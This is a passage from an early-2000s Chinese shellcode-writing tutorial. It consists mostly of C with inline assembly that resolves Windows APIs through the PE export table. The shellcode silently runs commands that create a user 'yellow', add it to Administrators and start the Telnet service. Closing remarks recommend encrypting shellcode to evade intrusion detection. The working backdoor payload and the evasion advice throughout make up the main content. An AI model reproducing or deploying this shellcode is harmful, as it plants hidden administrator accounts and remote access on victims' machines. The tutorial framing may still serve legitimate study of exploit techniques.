_emit 'A';    
_emit 'S';    
_emit 't';    
_emit 'a';    
_emit 'r';    
_emit 't';    
_emit 'u';    
_emit 'p';    
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';    
_emit 'S';    
_emit 'A';    
_emit 'C';    
_emit 'l';    
_emit 'e';    
_emit 'a';    
_emit 'n';    
_emit 'u';    
_emit 'p';    
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在這里設置一個斷點查看DLLNAMES和APINAMES是否填入了需要的內容

//填寫
}
//3,裝載所有需要的DLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS=API[LOADLIBRARY](DLLNAMES);
}
//4,獲取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES);
}
//4.2取得Windows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES);
}
//5,編寫ShellCode的功能實體部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用斷點
//6,執(zhí)行命令新建用戶,如果權限夠就將用戶加入Administrators,再開啟標準的Telnet服務
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD,SW_HIDE);
/*
    我們已經(jīng)引入了一些常用的KERNEL API和WINSOCK API,可以在這里進行更深入的
開發(fā)(比如我們可以使用WinSock自己實現(xiàn)一個Telnet服務端).
*/
API[EXITPROCESS](0);//使用ExitProcess來退出ShellCode以減少錯誤

__asm
{
/*
子程序FindApi,由我前面講解的GetFunctionByName修改得到
入口參數(shù):
  ImageBase:DLL基址
  FuncName:需要查找的引出函數(shù)名
  flen:引出函數(shù)名長度,在不會出現(xiàn)重復的情況下可以比引出函數(shù)名短一點
  Count:引出函數(shù)地址索引起始,通常應該把它設為0.
出口參數(shù):
  如果查找則成功Eax返回有效的函數(shù)地址,否則返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數(shù)名稱指針數(shù)組的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據(jù)引出函數(shù)個數(shù)NumberOfFunctions設置最大查找次數(shù)
FindLoop:
push ecx//使用一個小技巧,使用程序循環(huán)更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則為找到函數(shù),注意這里的ecx值
cld
rep cmpsb
jne FindNext//如果當前函數(shù)不是指定的函數(shù)則查找下一個
add esp,4//如果查找成功,則清除用于控制外層循環(huán)而壓入的Ecx,準備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函數(shù)地址表
shl Count,2//根據(jù)函數(shù)索引計算函數(shù)地址指針=函數(shù)地址表基址+(函數(shù)索引*4)
add eax,Count
mov eax,[eax]//獲得函數(shù)地址相對偏移量
add eax,ImageBase//計算函數(shù)真實地址,并通過Eax返回給調用者
jmp Found
FindNext:
inc Count//記錄函數(shù)索引
add [FunNameArray],4//下一個函數(shù)名指針
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數(shù)循環(huán)
loop FindLoop//如果ecx不為0則遞減并回到FindLoop,往后查找
NotFound:
xor eax,eax//如果沒有找到,則返回0
Found:
ret
//ShellCode結束標識符
_emit '*'
_emit '*'
}
}

void AboutMe(void)
{
printf("t++++++++++++++++++++++++++++++++++n");
printf("t+         ShellCode Demo!         +n");
printf("t+         Code by yellow         +n");
printf("t+         Date:2003-12-21         +n");
printf("t+     Email:yellow@safechina.net   +n");
printf("t+     Home Page:www.safechina.net +n");
printf("t++++++++++++++++++++++++++++++++++n");

}

void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("nt");
printf("0x%0.2X,",*sc++);
}
printf("n};nTotal %d Bytesrn",x+1);
}

int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
    注意我在這里我沒有演示ShellCode加密技術,現(xiàn)在的ShellCode加密大都都xor之類的操作,基本上比較簡單
,但為了逃避"入侵檢測系統(tǒng)"的查殺還是應該使用比較好的加密方法,我想以后可能會寫一些相關的技術文章吧!

    Ok!已經(jīng)演示了這么多,我想你的收獲一定不小吧!俗話說的好"師傅領進門,修行在個人",ShellCode最關鍵的
技術我們已經(jīng)掌握了,至于怎么去實現(xiàn)一個功能豐富的ShellCode就看你自己的開發(fā)技術和經(jīng)驗了!
--------------------------------------------------------------------------------------------------

最后
  當我初學ShellCode編寫技術時,對于沒有能讓初學者入門的ShellCode教程可以參考而感到煩惱,所以在我完成
PE和KERNEL32地址獲得方法學習后,就立刻寫了這篇文章,希望對廣大初學者有所幫助!眼看快要到圣誕節(jié),yellow
在這里初大家圣誕節(jié)快樂,永遠開心,永遠年輕!愿中國的安全技術更上一層樓!

4,參考資料.
  <MSDN>
  <Windows 核心編程>
  <Windows 95系統(tǒng)程序設計大奧秘>
  <Win32Asm Programming>
5,關鍵字:
  通用ShellCode,黑客編程技術,PE引出表,KERNEL32.DLL地址,結構化異常處理,SEH,溢出,overflow,中華安全網(wǎng)
                                                                  By yellow from www.safechina.net
                                                                                  2003年12月21日晚
The End.